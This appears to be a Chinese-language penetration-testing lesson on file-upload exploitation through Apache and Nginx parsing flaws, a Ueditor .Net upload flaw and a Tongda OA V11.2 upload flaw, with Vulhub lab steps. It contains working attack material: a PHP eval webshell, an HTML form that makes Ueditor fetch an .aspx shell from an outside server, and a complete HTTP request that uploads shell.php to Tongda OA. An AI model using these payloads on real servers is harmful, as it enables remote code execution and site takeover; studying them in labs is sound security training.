48:文件上传漏洞进阶(中间件/CMS/第三方编辑器)

本节课聚焦"文件上传+环境缺陷"的联动利用,覆盖中间件(Apache/Nginx)解析漏洞、第三方编辑器逻辑缺陷、已知CMS漏洞三大场景,核心是理解"环境配置→漏洞触发→GetShell"的闭环,而非单纯记忆Payload。

一、核心知识点总览

三类漏洞的本质都是"利用环境或组件的缺陷,让恶意文件被解析/上传成功",但适用场景和实现逻辑差异显著:

漏洞类型 核心逻辑 实战场景 利用难度
中间件解析漏洞 利用Apache/Nginx的配置/版本缺陷,让非PHP文件被解析为PHP 服务器用开源中间件且配置不当
第三方编辑器漏洞 利用编辑器的逻辑缺陷(如未授权上传、远程抓取) 后台集成了Ueditor/KindEditor等编辑器
CMS已知漏洞 利用CMS官方未修复的上传漏洞,直接上传木马 目标使用通达OA、Discuz等已知有漏洞的CMS

二、中间件文件解析漏洞(Apache&Nginx)

中间件的解析漏洞是"文件上传漏洞的放大器"------即使上传的是图片后缀,只要中间件配置缺陷,就能被解析为PHP执行。

2.1 Apache 换行解析漏洞(CVE-2017-15715)

核心原理

Apache 2.4.0~2.4.29版本中,若文件名含换行符(0x0a),会被错误解析为合法PHP文件。例如evil.php[0x0a]​会被识别为evil.php​。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/httpd/CVE-2017-15715
    docker compose up -d
  2. 上传木马并抓包:

    上传1.php​(内容<?php phpinfo();?>​),抓包修改filename​为evil.php​(末尾加空格,方便后续定位)。

  3. Hex修改换行符:

    Burp转Hex格式,将空格的20​改为0a​(换行符的十六进制)。

  4. 触发解析:

    访问http://IP:8080/evil.php ​( ​是换行符的URL编码),成功执行phpinfo()​。

避坑点
  • 需确保后端有重命名逻辑(否则文件名不变,漏洞无法触发);
  • Hex修改时要精准定位空格位置,可先加多个空格标记。

2.2 Apache 多后缀解析漏洞

核心原理

Apache配置了AddHandler application/x-httpd-php .php​后,只要文件名含.php​后缀(无论位置),就会被解析为PHP。例如xxx.php.jpg​会被当作PHP文件执行。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/httpd/apache_parsing_vulnerability
    docker compose up -d
  2. 上传多后缀木马:

    制作apache.php.jpeg​(内容<?=phpinfo()?>​),上传后访问http://IP/uploadfiles/apache.php.jpeg​,成功解析。

实战意义

可绕过"仅允许.jpg/.png"的白名单验证,只需让文件名含.php​后缀即可。

2.3 Nginx 文件名逻辑漏洞(CVE-2013-4547)

核心原理

Nginx 0.8.411.4.3 / 1.5.01.5.7版本中,文件名含空格+php后缀时,会将空格截断,解析为合法PHP文件。例如1.gif[空格].php​会被识别为1.gif.php​。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/nginx/CVE-2013-4547
    docker compose up -d
  2. 上传木马并抓包:

    上传1.gif​(内容<?php phpinfo();?>​),抓包修改filename​为1.gif[空格].php​。

  3. Hex修改空字符:

    Burp转Hex格式,将空格的20​改为00​(空字符的十六进制)。

  4. 触发解析:

    访问http://IP:8080/uploadfiles/1.gif.php​,成功执行phpinfo()​。

避坑点
  • Hex修改时若无法编辑,点击旁边任意字符即可激活输入;
  • 需确保Nginx版本在漏洞范围内,高版本已修复。

2.4 Nginx 解析漏洞(配置缺陷)

核心原理

Nginx配置了location ~ \.php$ { ... }​后,访问/xxx.png/.php​时,会将请求交给PHP解析器,从而执行xxx.png​中的PHP代码。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/nginx/nginx_parsing_vulnerability
    docker compose up -d
  2. 上传图片马:

    上传内含PHP代码的图片马(如<?php @eval($_POST['pass']);?>​)。

  3. 触发解析:

    访问http://IP/uploadfiles/\[图片名\].png/.php​,成功执行木马(用哥斯拉连接,密码pass​)。

实战意义

无需修改文件名,只需在URL后加/.php​即可利用,隐蔽性极强。

中间件漏洞对比表

中间件 漏洞名称 版本范围 触发关键 利用难度
Apache 换行解析(CVE-2017-15715) 2.4.0~2.4.29 Hex修改20​为0a​
Apache 多后缀解析 全版本(配置依赖) 文件名含.php​后缀
Nginx 文件名逻辑漏洞(CVE-2013-4547) 0.8.411.4.3 / 1.5.01.5.7 Hex修改20​为00​
Nginx 解析漏洞(配置) 全版本(配置依赖) URL后加/.php​

三、第三方编辑器文件上传漏洞(以Ueditor为例)

第三方编辑器(如Ueditor、KindEditor)的逻辑缺陷的,可直接绕过所有验证上传木马。

Ueditor 任意文件上传漏洞(.Net版本)

核心原理

Ueditor .Net版本的"远程图片抓取"功能未做权限验证,可构造表单上传恶意图片马,并将其重命名为.aspx​后缀执行。

复现步骤
  1. 定位编辑器入口:

    目录扫描找到/ueditor/net/controller.ashx​(如http://IP/ueditor/net/controller.ashx​)。

  2. 构造上传表单:

    复制代码
    <form action="http://IP/ueditor/net/controller.ashx?action=catchimage" method="POST" enctype="multipart/form-data">
      <input type="text" name="source[]" value="http://你的服务器/木马.aspx" />
      <input type="submit" value="上传" />
    </form>
  3. 上传并执行:

    提交后,Ueditor会抓取并保存为.aspx​文件,访问该路径并用哥斯拉连接(密码对应木马)。

实战拓展
  • 其他编辑器如KindEditor可利用"上传路径遍历"(如../跳转目录)上传木马;
  • 优先通过"目录扫描"找编辑器入口(如/ueditor/、/kindeditor/)。

四、CMS已知文件上传漏洞(以通达OA V11.2为例)

已知CMS的上传漏洞可通过"识别版本+公开POC"快速GetShell,无需手动测试。

通达OA V11.2 文件上传漏洞

核心原理

后台存在未授权的文件上传接口,可直接上传PHP木马。

复现步骤(ONE-FOX工具箱)
  1. 识别CMS版本:
    用WhatWeb或ONE-FOX工具箱识别目标为通达OA V11.2。
  2. 利用POC上传木马:
    选择"后台上传GetShell"功能,自动获取Cookie并上传木马。
  3. 连接木马:
    访问木马路径,用哥斯拉连接(密码默认或自定义)。
手动拓展
  • 找到上传入口/ispirit/im/upload.php​,构造数据包上传:

    复制代码
    POST /ispirit/im/upload.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="UPLOAD_MODE"
    1
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="P"
    123
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="img"; filename="shell.php"
    Content-Type: application/octet-stream
    <?php @eval($_POST['pass']);?>
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

五、核心总结与实战建议

  1. 中间件漏洞:

    • 优先用Vulhub复现,理解"Hex修改"和"解析规则";
    • 实战中结合文件上传白名单,如用xxx.php.jpg绕过Apache多后缀解析。
  2. 第三方编辑器漏洞:

    • 关注"未授权访问"和"功能逻辑缺陷",如Ueditor的远程抓取、KindEditor的路径遍历;
    • 用目录扫描工具(如Dirsearch)找编辑器入口。
  3. CMS漏洞:

    • 善用CMS识别工具(WhatWeb)和POC库(Exploit-DB);
    • 手动测试时优先找"上传、文件管理"功能点。

避坑总览

场景 常见坑点 解决方法
中间件Hex修改 无法定位字符位置 先加空格标记,再转Hex找20​位置
编辑器利用 路径找不到或权限不足 目录扫描找编辑器入口(如/ueditor/​)
CMS利用 POC失效 确认CMS版本与POC匹配,手动抓包调试

通过本节课,需建立"环境缺陷→漏洞利用"的关联思维------文件上传只是第一步,能否GetShell最终取决于中间件、组件或CMS的配置/缺陷。多复现靶场,才能在实战中快速识别并利用这类联动漏洞。

相关推荐
小白不想白a9 小时前
消息队列--包括面试常考题/运维监控指标
中间件
金刚猿9 小时前
01_虚拟机中间件部署_root 用户安装 docker 容器,配置非root用户权限
docker·中间件·容器
LYOBOYI12317 小时前
vscode界面美化
ide·vscode·编辑器
浔川python社18 小时前
关于浔川代码编辑器 v5.0 网页版上线时间的通知
编辑器
Hello.Reader21 小时前
Rocket Fairings 实战把全局能力做成“结构化中间件”
中间件·rust·rocket
浔川python社1 天前
浔川代码编辑器 v5.0 上线时间公布
编辑器
山峰哥1 天前
数据库工程与SQL调优——从索引策略到查询优化的深度实践
数据库·sql·性能优化·编辑器
Doro再努力1 天前
Vim 快速上手实操手册:从入门到生产环境实战
linux·编辑器·vim
Doro再努力1 天前
【Linux操作系统10】Makefile深度解析:从依赖推导到有效编译
android·linux·运维·服务器·编辑器·vim
kun200310291 天前
如何用Obsidian+VSCode生成文案排版并发布到公众号
ide·vscode·编辑器